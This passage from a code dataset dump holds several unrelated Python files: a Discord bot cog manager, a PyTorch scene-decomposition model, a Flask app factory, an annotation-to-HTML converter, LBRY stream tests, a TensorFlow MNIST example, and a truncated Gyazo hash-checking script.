ctx.send_error(f'{err.__class__.__name__}: {err}', delete_after=5.0)\n else:\n await ctx.send_success(f'{module} reloaded successfully', delete_after=5.0)\n\n @_reload.command(name='all', hidden=True)\n @commands.has_permissions(administrator=True)\n async def _reload_all(self, ctx):\n \"\"\"Reloads all modules\"\"\"\n output = \"\"\n\n for module in list(self.bot.extensions.keys()):\n try:\n self.bot.reload_extension(module)\n except commands.ExtensionError as err:\n output += f'{module} - {err.__class__.__name__}: {err}\\n'\n except ModuleNotFoundError as err:\n await ctx.send_error(f'{err.__class__.__name__}: {err}', delete_after=5.0)\n else:\n output += f'{module} - reloaded successfully\\n'\n\n await ctx.message.delete(delay=5.0)\n await ctx.send_embed(output, delete_after=5.0)\n\n @commands.command()\n async def cogs(self, ctx):\n await ctx.send_embed(\" **»** \" + \"\\n **»** \".join(self.bot.cogs))\n\n @commands.command(aliases=[\"extentions\"])\n async def extensions(self, ctx):\n await ctx.send_embed(\" **»** \" + \"\\n **»** \".join(self.bot.extensions))\n\n\ndef setup(bot):\n bot.add_cog(CogManager(bot))\n","sub_path":"bot/cogs/cog_manager.py","file_name":"cog_manager.py","file_ext":"py","file_size_in_byte":3361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"613531643","text":"import math\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional\nfrom network import InitializerBack, InitializerFull, InitializerCrop, UpdaterBack, UpdaterFull, UpdaterCrop, \\\n EncDecBack, EncDecFull, EncDecCrop\nimport pdb\n\nclass Model(nn.Module):\n\n def __init__(self, args):\n super(Model, self).__init__()\n # Hyperparameters\n self.register_buffer('prior_where_mu', torch.tensor(args.prior_where_mu)[None, None])\n self.register_buffer('prior_where_invvar', 1 / torch.tensor(args.prior_where_std)[None, None].pow(2))\n self.register_buffer('prior_where_logvar', -self.prior_where_invvar.log())\n self.num_steps = args.num_steps\n self.max_objects = args.max_objects\n self.image_full_height = args.image_full_height\n self.image_full_width = args.image_full_width\n self.image_crop_height = args.image_crop_height\n self.image_crop_width = args.image_crop_width\n self.gaussian_invvar = 1 / pow(args.gaussian_std, 2)\n self.gaussian_const = math.log(2 * math.pi / self.gaussian_invvar)\n self.prior_pres_alpha = args.prior_pres_alpha\n self.prior_pres_log_alpha = math.log(self.prior_pres_alpha)\n # Neural networks\n self.init_back = InitializerBack(args)\n self.init_full = InitializerFull(args)\n self.init_crop = InitializerCrop(args)\n self.upd_back = UpdaterBack(args)\n self.upd_full = UpdaterFull(args)\n self.upd_crop = UpdaterCrop(args)\n self.enc_dec_back = EncDecBack(args)\n self.enc_dec_full = EncDecFull(args)\n self.enc_dec_crop = EncDecCrop(args)\n\n def compute_grid(self, scl, trs, batch_size):\n theta_crop = torch.stack([\n torch.stack([scl[:, 0], torch.zeros_like(scl[:, 0]), trs[:, 0]], dim=1),\n torch.stack([torch.zeros_like(scl[:, 1]), scl[:, 1], trs[:, 1]], dim=1),\n ], dim=1)\n theta_full = torch.stack([\n torch.stack([1 / scl[:, 0], torch.zeros_like(scl[:, 0]), -trs[:, 0] / scl[:, 0]], dim=1),\n torch.stack([torch.zeros_like(scl[:, 1]), 1 / scl[:, 1], -trs[:, 1] / scl[:, 1]], dim=1),\n ], dim=1)\n grid_crop = nn.functional.affine_grid(\n theta_crop, [batch_size, 1, self.image_crop_height, self.image_crop_width])\n grid_full = nn.functional.affine_grid(\n theta_full, [batch_size, 1, self.image_full_height, self.image_full_width])\n return grid_crop, grid_full\n\n @staticmethod\n def compute_gamma(shp, zeta):\n x = shp * zeta[..., None, None]\n padded_ones = x.new_ones(1, *x.shape[1:])\n return torch.cat([x, padded_ones]) * torch.cat([padded_ones, 1 - x]).cumprod(0)\n\n def compute_init_full_inputs(self, images, result_back, result_obj):\n gamma = self.compute_gamma(result_obj['shp'], result_obj['zeta'])\n recon = (gamma * torch.cat([result_obj['apc'], result_back['back'][None]])).sum(0)\n mask = 1 - gamma[-1]\n return torch.cat([images, recon, mask], dim=1).detach()\n\n def compute_upd_back_inputs(self, images, result_back, result_obj):\n inputs_exclude = self.compute_init_full_inputs(images, result_back, result_obj)\n return torch.cat([inputs_exclude, result_back['back']], dim=1).detach()\n\n def compute_upd_full_inputs(self, images, result_back, result_obj, idx):\n gamma_above = self.compute_gamma(result_obj['shp'][:idx], result_obj['zeta'][:idx])\n gamma_below = self.compute_gamma(result_obj['shp'][idx + 1:], result_obj['zeta'][idx + 1:])\n gamma_cur = self.compute_gamma(result_obj['shp'][idx:idx + 1], result_obj['zeta'][idx:idx + 1])\n recon_above = (gamma_above * torch.cat([result_obj['apc'][:idx], result_back['back'][None]])).sum(0)\n recon_below = (gamma_below * torch.cat([result_obj['apc'][idx + 1:], result_back['back'][None]])).sum(0)\n mask_above = 1 - gamma_above[-1]\n recon_cur = (gamma_cur * torch.cat([result_obj['apc'][idx:idx + 1], result_back['back'][None]])).sum(0)\n mask_cur = 1 - gamma_cur[-1]\n return torch.cat([images, recon_above, recon_below, mask_above, recon_cur, mask_cur], dim=1).detach()\n\n def compute_upd_crop_inputs(self, images, result_back, result_obj, grid_crop, idx):\n inputs_full = self.compute_upd_full_inputs(images, result_back, result_obj, idx)\n return nn.functional.grid_sample(inputs_full, grid_crop)\n\n @staticmethod\n def initialize_storage(result_obj, states_dict, update_dict):\n for key, val in result_obj.items():\n if val is None:\n result_obj[key] = update_dict[key][None]\n else:\n result_obj[key] = torch.cat([val, update_dict[key][None]])\n for key in states_dict:\n states_dict[key].append(update_dict[key])\n return\n\n @staticmethod\n def update_storage(result_obj, states_dict, update_dict, idx):\n for key, val in result_obj.items():\n if states_dict is not None or key in update_dict:\n result_obj[key] = torch.cat([val[:idx], update_dict[key][None], val[idx + 1:]])\n if states_dict is not None:\n for key, val in states_dict.items():\n states_dict[key] = val[:idx] + [update_dict[key]] + val[idx + 1:]\n return\n\n def compute_indices(self, images, result_obj, eps=1e-5):\n diffs_sq = (result_obj['apc'] - images[None]).pow(2).sum(-3, keepdim=True).detach()\n masks = result_obj['shp'].clone().detach()\n coefs = masks.new_ones(masks.shape[:-2])\n indices_list = []\n for _ in range(diffs_sq.shape[0]):\n vis_diffs_sq = (masks * diffs_sq).view(*masks.shape[:-2], -1).sum(-1)\n vis_areas = masks.view(*masks.shape[:-2], -1).sum(-1)\n vis_max_vals = masks.view(*masks.shape[:-2], -1).max(-1).values\n scores = coefs * vis_max_vals * result_obj['zeta'] * \\\n torch.exp(-0.5 * self.gaussian_invvar * vis_diffs_sq / (vis_areas + eps))\n indices = torch.argmax(scores, dim=0)\n indices_list.append(indices)\n mask = torch.gather(masks, 0, indices[None, ..., None, None].expand(-1, -1, *masks.shape[2:]))\n masks *= 1 - mask\n coefs.scatter_(0, indices[None], -1)\n indices = torch.stack(indices_list)\n return indices\n\n @staticmethod\n def adjust_order_sub(x, indices):\n if x.dim() == 3:\n x = torch.gather(x, 0, indices.expand(-1, -1, *x.shape[2:]))\n elif x.dim() == 5:\n x = torch.gather(x, 0, indices[..., None, None].expand(-1, -1, *x.shape[2:]))\n else:\n raise AssertionError\n return x\n\n def adjust_order(self, images, result_obj, states_dict):\n indices = self.compute_indices(images, result_obj)\n for key, val in result_obj.items():\n result_obj[key] = self.adjust_order_sub(val, indices)\n for key, val in states_dict.items():\n states_0 = self.adjust_order_sub(torch.stack([n[0] for n in val]), indices)\n states_1 = self.adjust_order_sub(torch.stack([n[1] for n in val]), indices)\n states_dict[key] = [(n_0, n_1) for n_0, n_1 in zip(states_0, states_1)]\n return\n\n @staticmethod\n def transform_result(result):\n for key, val in result.items():\n if key not in ['back', 'back_likelihood', 'back_latent']:\n result[key] = val.transpose(0, 1)\n return result\n\n def forward(self, images):\n ###################\n # Initializations #\n ###################\n # Background\n states_back = self.init_back(images)\n result_back = self.enc_dec_back(states_back[0])\n # Objects\n result_obj = {\n 'apc': images.new_empty(0, *images.shape), #转换后物体的外观\n 'shp': images.new_zeros(0, images.shape[0], 1, *images.shape[2:]), #转换后物体的形状\n 'zeta': images.new_zeros(0, images.shape[0], 1),\n # 'apc_likelihood': images.new_zeros(0, images.shape[0], 1),\n }\n #‘scl' 表示物体大小的隐变量,'trs'表示物体位置的隐变量,他们均由'where_mu'和'where_logvar'得到\n #'shp_mu'和'shp_logvar'表示物体形状隐变量,解码得到物体的标准化形状shp_crop\n #'apc_latent'为物体外观隐变量,解码后得到物体的标准化外观apc_crop\n #'tau1'和 'tau2'为Beta分布的两个参数,zeta表示物体是否存在的隐变量分布参数\n result_obj.update({\n key: None for key in\n [\n 'tau1', 'tau2', 'logits_zeta', 'where_mu', 'where_logvar', 'shp_mu', 'shp_logvar',\n 'apc_latent', 'apc_likelihood','scl', 'trs', 'apc_crop', 'shp_crop',\n ]\n }) \n\n states_dict = {key: [] for key in ['states_full', 'states_crop1', 'states_crop2']}\n states_main = None\n for _ in range(self.max_objects):\n # Full\n inputs_full = self.compute_init_full_inputs(images, result_back, result_obj) # cat: images, recon, mask, batch_size*7*48*48\n states_full, states_main = self.init_full(inputs_full, states_main)\n result_full = self.enc_dec_full(states_full[0]) #'scl','trs','tau1','tau2','zeta','logits_zeta','where_mu','where_logvar'\n grid_crop, grid_full = self.compute_grid(result_full['scl'], result_full['trs'], images.shape[0]) #计算双线性采样的二维网格\n # Crop\n inputs_crop = nn.functional.grid_sample(inputs_full, grid_crop) # batch_size*7*24*24\n states_crop1,states_crop2 = self.init_crop(inputs_crop)\n # print('states_crop1[0]:',states_crop1[0].shape,'states_crop2[0]:',states_crop2[0].shape)\n # print('states_crop1[0]:',states_crop1,'states_crop2[0]:',states_crop2)\n result_crop = self.enc_dec_crop(states_crop1[0], states_crop2[0], grid_full)#'apc','shp','apc_crop','apc_crop_diff','shp_crop','what_mu','what_logvar'\n # Update storage\n update_dict = {**result_full, **result_crop, 'states_full': states_full, 'states_crop1': states_crop1,'states_crop2': states_crop2} \n self.initialize_storage(result_obj, states_dict, update_dict)\n # Adjust order\n self.adjust_order(images, result_obj, states_dict)\n # Result\n result = {**result_back, **result_obj}\n results = [result]\n ###############\n # Refinements #\n ###############\n for _ in range(self.num_steps):\n # Background\n inputs_back = self.compute_upd_back_inputs(images, result_back, result_obj) # batch_size*10*48*48\n states_back = self.upd_back(inputs_back, states_back)\n result_back = self.enc_dec_back(states_back[0]) # back:batch_size*3*48*48, back_mu:# batch_size*32\n # Objects\n for idx_obj in range(self.max_objects):\n # Full\n inputs_full = self.compute_upd_full_inputs(images, result_back, result_obj, idx_obj) # batch_size*7*48*48\n states_full = self.upd_full(inputs_full, states_dict['states_full'][idx_obj])\n result_full = self.enc_dec_full(states_full[0]) \n grid_crop, grid_full = self.compute_grid(result_full['scl'], result_full['trs'], images.shape[0]) # batch_size*24*24*2, batch_size*48*48*2\n apc = nn.functional.grid_sample(result_obj['apc_crop'][idx_obj], grid_full) # batch_size*3*48*48\n shp = nn.functional.grid_sample(result_obj['shp_crop'][idx_obj], grid_full) # batch_size*1*48*48\n update_dict = {'apc': apc, 'shp': shp, 'zeta': result_full['zeta']}\n self.update_storage(result_obj, None, update_dict, idx_obj)\n # Crop\n inputs_crop = self.compute_upd_crop_inputs(images, result_back, result_obj, grid_crop, idx_obj)\n states_crop1,states_crop2 = self.upd_crop(inputs_crop, states_dict['states_crop1'][idx_obj], states_dict['states_crop2'][idx_obj])\n result_crop = self.enc_dec_crop(states_crop1[0],states_crop2[0], grid_full)\n # Update storage\n update_dict = {**result_full, **result_crop, 'states_full': states_full, 'states_crop1': states_crop1, 'states_crop2': states_crop2}\n self.update_storage(result_obj, states_dict, update_dict, idx_obj)\n # Adjust order\n self.adjust_order(images, result_obj, states_dict)\n # Result\n result = {**result_back, **result_obj}\n results.append(result)\n results = [self.transform_result(n) for n in results]\n return results\n\n def compute_loss_recon(self, images, result, ratio):\n apc_n_back = torch.cat([result['apc'], result['back'][None]])\n gamma = self.compute_gamma(result['shp'], result['zeta'])\n part_diff = (images - (gamma * apc_n_back).sum(0)).pow(2)\n part_elbo = (gamma * (images[None] - apc_n_back).pow(2)).sum(0)\n part_opt = ratio * part_diff + (1 - ratio) * part_elbo\n loss = 0.5 * (self.gaussian_const + self.gaussian_invvar * (part_opt - part_opt.detach() + part_elbo.detach()))\n return loss.sum()\n\n @staticmethod\n def compute_kld_normal(mu, logvar, prior_mu, prior_logvar, prior_invvar):\n loss = 0.5 * (prior_logvar - logvar + prior_invvar * ((mu - prior_mu).pow(2) + logvar.exp()) - 1)\n return loss.sum()\n\n def compute_kld_pres(self, result):\n tau1 = result['tau1']\n tau2 = result['tau2']\n zeta = result['zeta']\n logits_zeta = result['logits_zeta']\n psi1 = torch.digamma(tau1)\n psi2 = torch.digamma(tau2)\n psi12 = torch.digamma(tau1 + tau2)\n # Beta\n loss_beta_1 = torch.lgamma(tau1 + tau2) - torch.lgamma(tau1) - torch.lgamma(tau2) - self.prior_pres_log_alpha\n loss_beta_2 = (tau1 - self.prior_pres_alpha) * psi1\n loss_beta_3 = (tau2 - 1) * psi2\n loss_beta_4 = -(tau1 + tau2 - self.prior_pres_alpha - 1) * psi12\n loss_beta = loss_beta_1 + loss_beta_2 + loss_beta_3 + loss_beta_4\n # Bernoulli\n log_zeta = nn.functional.logsigmoid(logits_zeta)\n log_one_minus_zeta = log_zeta - logits_zeta\n psi1_le_sum = psi1.cumsum(0)\n psi12_le_sum = psi12.cumsum(0)\n kappa1 = psi1_le_sum - psi12_le_sum\n psi1_lt_sum = torch.cat([psi1_le_sum.new_zeros(1, *psi1_le_sum.shape[1:]), psi1_le_sum[:-1]])\n logits_coef = psi2 + psi1_lt_sum - psi12_le_sum\n kappa2_list = []\n for idx in range(logits_coef.shape[0]):\n coef = torch.softmax(logits_coef[:idx + 1], dim=0)\n log_coef = nn.functional.log_softmax(logits_coef[:idx + 1], dim=0)\n coef_le_sum = coef.cumsum(0)\n coef_lt_sum = torch.cat([coef_le_sum.new_zeros(1, *coef_le_sum.shape[1:]), coef_le_sum[:-1]])\n part1 = (coef * psi2[:idx + 1]).sum(0)\n part2 = ((1 - coef_le_sum[:-1]) * psi1[:idx]).sum(0)\n part3 = -((1 - coef_lt_sum) * psi12[:idx + 1]).sum(0)\n part4 = -(coef * log_coef).sum(0)\n kappa2_list.append(part1 + part2 + part3 + part4)\n kappa2 = torch.stack(kappa2_list)\n loss_bernoulli = zeta * (log_zeta - kappa1) + (1 - zeta) * (log_one_minus_zeta - kappa2)\n return loss_beta.sum() + loss_bernoulli.sum()\n\n def compute_loss_back_prior(self, images, back):\n back_prior = images.view(*images.shape[:-2], -1).median(-1).values[..., None, None]\n loss = 0.5 * self.gaussian_invvar * (back - back_prior).pow(2).sum()\n return loss - loss.detach()\n\n def compute_loss_diff(self, x):\n loss = 0.5 * self.gaussian_invvar * x.pow(2).sum()\n return loss - loss.detach()\n\n def compute_batch_loss(self, images, result, coef_dict):\n loss_recon = self.compute_loss_recon(images, result, coef_dict['recon'])\n loss_kld_pres = self.compute_kld_pres(result)\n loss_kld_where = self.compute_kld_normal(result['where_mu'], result['where_logvar'], self.prior_where_mu,\n self.prior_where_logvar, self.prior_where_invvar)\n loss_kld_shp = self.compute_kld_normal(result['shp_mu'], result['shp_logvar'], 0, 0, 1)\n loss_apc_likelihood = result['apc_likelihood']\n loss_back_prior = coef_dict['back_prior'] * self.compute_loss_back_prior(images, result['back'])\n loss_back_likelihood = result['back_likelihood']\n loss = loss_recon + loss_kld_pres + loss_kld_where + loss_kld_shp + \\\n loss_back_prior - loss_apc_likelihood - loss_back_likelihood \n return loss\n\n def compute_log_likelihood(self, images, result, segre, recon_scene, eps=1e-10):\n diff_mixture = torch.cat([result['apc'], result['back'][None]]) - images[None]\n raw_ll_mixture = -0.5 * (self.gaussian_const + self.gaussian_invvar * diff_mixture.pow(2)).sum(-3, keepdim=True)\n ll_mixture = torch.logsumexp(segre.clamp(min=eps).log() + raw_ll_mixture, dim=0)\n ll_mixture = ll_mixture.view(ll_mixture.shape[0], -1).sum(-1)\n diff_single = recon_scene - images\n ll_single = -0.5 * (self.gaussian_const + self.gaussian_invvar * diff_single.pow(2))\n ll_single = ll_single.view(ll_single.shape[0], -1).sum(-1)\n return ll_mixture, ll_single\n\n\ndef get_model(args, path=None):\n model = Model(args)\n if path is not None:\n load_dict = torch.load(path)\n model_dict = model.state_dict()\n for key in model_dict:\n if key in load_dict and model_dict[key].shape == load_dict[key].shape:\n model_dict[key] = load_dict[key]\n else:\n print('\"{}\" not loaded'.format(key))\n model.load_state_dict(model_dict)\n return nn.DataParallel(model)\n","sub_path":"src/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":17865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"189112468","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 11 13:21:17 2020\n\n@author: BarisAlhan\n\"\"\"\n\nimport os\nfrom flask import Flask\nfrom . import db\n\ndef create_app(test_config = None):\n \n app = Flask(__name__, instance_relative_config=True)\n \n \n try:\n os.makedirs(app.instance_path)\n except OSError:\n pass\n \n \n app.config.from_mapping(\n SECRET_KEY='tursu',\n DATABASE=os.path.join(app.instance_path, 'flaskr.sqlite'),\n )\n \n \n if test_config is None:\n app.config.from_pyfile('config.py', silent=True)\n else:\n app.config.from_mapping(test_config)\n \n \n @app.route('/')\n def hello():\n return 'Welcome to Tursu!'\n \n \n db.init_app(app)\n \n return app","sub_path":"practice_app/backend/flaskr/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"492459017","text":"__author__ = 'charlesztt'\n\nimport os\nimport xml.etree.cElementTree as ET\nimport xml.dom.minidom\n\ndef get_sentence(event_token_id, token_list):\n first_token_id=event_token_id.split(\",\")[0]\n # print first_token_id\n start_flag=0\n for one_token in token_list:\n if first_token_id == one_token[0]:\n break\n start_flag+=1\n for i in range(start_flag,len(token_list)):\n if \"<\" in token_list[i][1]:\n break\n end_place=i\n for i in range(start_flag,0,-1):\n if \">\" in token_list[i][1]:\n break\n start_place=i+1\n sent_list=list()\n for i in range(start_place,end_place):\n sent_list.append(token_list[i][1])\n return \" \".join(sent_list)\n\ndef get_trigger(event_token_id, token_list):\n start_token_id=event_token_id.split(\",\")[0]\n end_token_id=event_token_id.split(\",\")[-1]\n start_flag=0\n for one_token in token_list:\n if start_token_id == one_token[0]:\n break\n start_flag+=1\n end_flag=0\n for one_token in token_list:\n if end_token_id == one_token[0]:\n break\n end_flag+=1\n trigger_list=list()\n for i in range(start_flag,end_flag+1):\n trigger_list.append(token_list[i][1])\n return \" \".join(trigger_list)\n\nf=open(\"./data/filelist.tab\")\n\ncandi_list=list()\n\nfor one_line in f:\n one_line=one_line.replace(\"\\r\",\"\").replace(\"\\n\",\"\")\n candi_list.append(one_line)\n\nf.close()\n\nfor one_candi in candi_list:\n event_list=list()\n f_sent=open(os.path.join(\"./data/nugget_train\",one_candi+\".txt.tab\"))\n f_sent.readline()\n token_list=list()\n for one_line in f_sent:\n one_line=one_line.replace(\"\\r\",\"\").replace(\"\\n\",\"\")\n token_list.append(one_line.split(\"\\t\")[0:2])\n f_sent.close()\n\n f_annotation=open(os.path.join(\"./data/nugget_train\",one_candi+\".ann.tab\"))\n for one_line in f_annotation:\n one_line=one_line.replace(\"\\r\",\"\").replace(\"\\n\",\"\")\n event_id=\"-\".join(one_line.split(\"\\t\")[1:3])\n event_token_id=one_line.split(\"\\t\")[3]\n event_type=one_line.split(\"\\t\")[5]\n event_sentence=get_sentence(event_token_id,token_list)\n event_trigger=get_trigger(event_token_id,token_list)\n event_list.append([event_id,event_type,event_trigger,event_sentence])\n f_annotation.close()\n\n f_source=open(os.path.join(\"./data/nugget_train\",one_candi+\".tkn.txt\"))\n empty_text=\"\"\n for one_line in f_source:\n if \"<\" in one_line and \">\" in one_line:\n if 'DOC' not in one_line:\n one_line=one_line.replace(\" \",\"\")\n else:\n if \"id\" not in one_line:\n one_line=one_line.replace(\" \",\"\")\n empty_text+=one_line\n f_source.close()\n tree=ET.fromstring(empty_text)\n notags = ET.tostring(tree, encoding='utf8', method='text')\n\n f=open(one_candi+\".html\",'w')\n f.write('
    '+'\\n')\n f.write(notags.replace(\"\\n\",\"
    \")+\"
    \\n
    \\n\")\n for one_event in event_list:\n f.write(\"ID: %s
    \\n\"%(one_event[0]))\n f.write(\"Type: %s
    \\n\"%(one_event[1]))\n f.write(\"Anchor: %s
    \\n\"%(one_event[2]))\n f.write(\"Extent: %s
    \\n\"%(one_event[3]))\n f.write(\"
    \\n\")\n f.write(\"
    \")\n f.close()","sub_path":"python/basic_stat/readable_creator.py","file_name":"readable_creator.py","file_ext":"py","file_size_in_byte":3438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"507425564","text":"import os\nimport shutil\nimport tempfile\n\nfrom hashlib import md5\nfrom twisted.trial.unittest import TestCase\nfrom twisted.internet import defer, threads\n\nfrom lbrynet import conf\nfrom lbrynet.file_manager.EncryptedFileManager import EncryptedFileManager\nfrom lbrynet.core.Session import Session\nfrom lbrynet.core.StreamDescriptor import StreamDescriptorIdentifier\nfrom lbrynet.file_manager.EncryptedFileCreator import create_lbry_file\nfrom lbrynet.lbry_file.client.EncryptedFileOptions import add_lbry_file_to_sd_identifier\nfrom lbrynet.core.StreamDescriptor import get_sd_info\nfrom lbrynet.core.PeerManager import PeerManager\nfrom lbrynet.core.RateLimiter import DummyRateLimiter\n\nfrom lbrynet.tests import mocks\n\n\nFakeNode = mocks.Node\nFakeWallet = mocks.Wallet\nFakePeerFinder = mocks.PeerFinder\nFakeAnnouncer = mocks.Announcer\nGenFile = mocks.GenFile\ntest_create_stream_sd_file = mocks.create_stream_sd_file\nDummyBlobAvailabilityTracker = mocks.BlobAvailabilityTracker\n\n\nclass TestStreamify(TestCase):\n maxDiff = 5000\n def setUp(self):\n mocks.mock_conf_settings(self)\n self.session = None\n self.lbry_file_manager = None\n self.is_generous = True\n self.db_dir = tempfile.mkdtemp()\n self.blob_dir = os.path.join(self.db_dir, \"blobfiles\")\n os.mkdir(self.blob_dir)\n\n @defer.inlineCallbacks\n def tearDown(self):\n lbry_files = self.lbry_file_manager.lbry_files\n for lbry_file in lbry_files:\n yield self.lbry_file_manager.delete_lbry_file(lbry_file)\n if self.lbry_file_manager is not None:\n yield self.lbry_file_manager.stop()\n if self.session is not None:\n yield self.session.shut_down()\n yield self.session.storage.stop()\n yield threads.deferToThread(shutil.rmtree, self.db_dir)\n if os.path.exists(\"test_file\"):\n os.remove(\"test_file\")\n\n def test_create_stream(self):\n wallet = FakeWallet()\n peer_manager = PeerManager()\n peer_finder = FakePeerFinder(5553, peer_manager, 2)\n hash_announcer = FakeAnnouncer()\n rate_limiter = DummyRateLimiter()\n sd_identifier = StreamDescriptorIdentifier()\n\n self.session = Session(\n conf.ADJUSTABLE_SETTINGS['data_rate'][1], db_dir=self.db_dir, node_id=\"abcd\",\n peer_finder=peer_finder, hash_announcer=hash_announcer,\n blob_dir=self.blob_dir, peer_port=5553,\n use_upnp=False, rate_limiter=rate_limiter, wallet=wallet,\n blob_tracker_class=DummyBlobAvailabilityTracker,\n is_generous=self.is_generous, external_ip=\"127.0.0.1\", dht_node_class=mocks.Node\n )\n\n self.lbry_file_manager = EncryptedFileManager(self.session, sd_identifier)\n\n d = self.session.setup()\n d.addCallback(lambda _: add_lbry_file_to_sd_identifier(sd_identifier))\n d.addCallback(lambda _: self.lbry_file_manager.setup())\n\n def verify_equal(sd_info):\n self.assertEqual(sd_info, test_create_stream_sd_file)\n\n def verify_stream_descriptor_file(stream_hash):\n d = get_sd_info(self.session.storage, stream_hash, True)\n d.addCallback(verify_equal)\n return d\n\n def iv_generator():\n iv = 0\n while 1:\n iv += 1\n yield \"%016d\" % iv\n\n def create_stream():\n test_file = GenFile(5209343, b''.join([chr(i + 3) for i in xrange(0, 64, 6)]))\n d = create_lbry_file(self.session, self.lbry_file_manager, \"test_file\", test_file,\n key=\"0123456701234567\", iv_generator=iv_generator())\n d.addCallback(lambda lbry_file: lbry_file.stream_hash)\n return d\n\n d.addCallback(lambda _: create_stream())\n d.addCallback(verify_stream_descriptor_file)\n return d\n\n def test_create_and_combine_stream(self):\n wallet = FakeWallet()\n peer_manager = PeerManager()\n peer_finder = FakePeerFinder(5553, peer_manager, 2)\n hash_announcer = FakeAnnouncer()\n rate_limiter = DummyRateLimiter()\n sd_identifier = StreamDescriptorIdentifier()\n\n self.session = Session(\n conf.ADJUSTABLE_SETTINGS['data_rate'][1], db_dir=self.db_dir, node_id=\"abcd\",\n peer_finder=peer_finder, hash_announcer=hash_announcer,\n blob_dir=self.blob_dir, peer_port=5553, dht_node_class=mocks.Node,\n use_upnp=False, rate_limiter=rate_limiter, wallet=wallet,\n blob_tracker_class=DummyBlobAvailabilityTracker, external_ip=\"127.0.0.1\"\n )\n\n self.lbry_file_manager = EncryptedFileManager(self.session, sd_identifier)\n\n @defer.inlineCallbacks\n def create_stream():\n test_file = GenFile(53209343, b''.join([chr(i + 5) for i in xrange(0, 64, 6)]))\n lbry_file = yield create_lbry_file(self.session, self.lbry_file_manager, \"test_file\", test_file)\n sd_hash = yield self.session.storage.get_sd_blob_hash_for_stream(lbry_file.stream_hash)\n self.assertTrue(lbry_file.sd_hash, sd_hash)\n yield lbry_file.start()\n f = open('test_file')\n hashsum = md5()\n hashsum.update(f.read())\n self.assertEqual(hashsum.hexdigest(), \"68959747edc73df45e45db6379dd7b3b\")\n\n d = self.session.setup()\n d.addCallback(lambda _: add_lbry_file_to_sd_identifier(sd_identifier))\n d.addCallback(lambda _: self.lbry_file_manager.setup())\n d.addCallback(lambda _: create_stream())\n return d\n","sub_path":"lbrynet/tests/functional/test_streamify.py","file_name":"test_streamify.py","file_ext":"py","file_size_in_byte":5561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"581208241","text":"\"\"\"\nExample code written for https://www.meetup.com/Big-Data-Developers-in-Madrid/\n\nWillem Hendriks, willem.hendriks@nl.ibm.com\n\nDeep learning + Data Science, 31 Jan 2017\n\"\"\"\n\n# Modified example of MNIST tensorflow classification.\n#\n# Original content licence:\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# \n\nimport tensorflow as tf\n\n# Change the data, from MNIST to images of programmers\nfrom DataFeederPython import DataFeederPython\n\n# Create the model\nx = tf.placeholder(tf.float32, [None, 784])\nW = tf.Variable(tf.zeros([784, 10]))\nb = tf.Variable(tf.zeros([10]))\ny = tf.nn.softmax(tf.matmul(x, W) + b)\n\n# Define loss and optimizer\ny_ = tf.placeholder(tf.float32, [None, 10])\n\n# The raw formulation of cross-entropy,\n#\n# tf.reduce_mean(-tf.reduce_sum(y_ * tf.log(tf.nn.softmax(y)),\n# reduction_indices=[1]))\n#\n# can be numerically unstable.\n#\n# So here we use tf.nn.softmax_cross_entropy_with_logits on the raw\n# outputs of 'y', and then average across the batch.\ncross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y_, logits=y))\ntrain_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy)\n\nsess = tf.InteractiveSession()\ntf.global_variables_initializer().run()\n# Train\n\nfor _ in range(DataFeederPython.number_of_samples * 10):\n\tbatch_xs, batch_ys = DataFeederPython.next_batch(5)\n\tsess.run(train_step, feed_dict={x: batch_xs, y_: batch_ys})\n\ntest = DataFeederPython.get_test()\n\ncorrect_prediction = tf.equal(tf.argmax(y, 1), tf.argmax(y_, 1))\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\nprint(sess.run(accuracy, feed_dict={x: test[0], y_: test[1]}))\n","sub_path":"modified_mnist_example.py","file_name":"modified_mnist_example.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"591492298","text":"import requests,sys,hashlib,argparse,os\ndef gyazoMD5Exists(md5_hash):return requests.get(\"http://gyazo.com/%s\"%(md5_hash)).status_code==200\ndef printExists(h):print(\"%s EXISTS\"%h if gyazoMD5Exists(h) else \"%s DOES NOT EXIST\"%h)\ndef getMD5(path,buffer_size=1024*1024*32):\n\twith open(path,'rb')as inp:\n\t\tdata=inp.read(buffer_size)\n\t\tmday5=hashlib.md5()\n\t\twhile len(data)>0:\n\t\t\tmday5.update(data)\n\t\t\tdata=inp.read(buffer_size)\n\t\treturn mday5.hexdigest()\ndef validHex(s):\n\ttry:int(s,16);return True\n\texcept:return False\ndef checkHexValue(h):\n\tif validHex(h):\n\t\tif len(h)==32:\n\t\t\texists=gyazoMD5Exists(h)\n\t\t\tprint(\"%s EXISTS\"%h if exists else \"%s DOES NOT EXIST\"%h)\n\t\telse:print(\"Input hexadecimal value is not 32 characters long (md5 length)\")\n\telse:print(\"Input is not a valid hexadecimal value\")\ndef checkFileValue(f,ft):\n\tif ft==None:ft=\"txt\"\n\tif os.path.exists(f):\n\t\tif os.path.isfile(f):\n\t\t\twith open(f,'r')as inp:\n\t\t\t\tdata=inp.read()\n\t\t\t\tsplitter=None\n\t\t\t\tif not \"\\r\\n\" in data:\n\t\t\t\t\tif \"\\n\" in data:splitter=\"\\n\"\n\t\t\t\telse:splitter=\"\\r\\n\"\n\t\t\t\tif splitter:data=data.split(splitter)\n\t\t\t\tif type(data)==str:printExists(data);return\n\t\t\t\tfor d in data:\n\t\t\t\t\tif len(d)<32:continue\n\t\t\t\t\tif 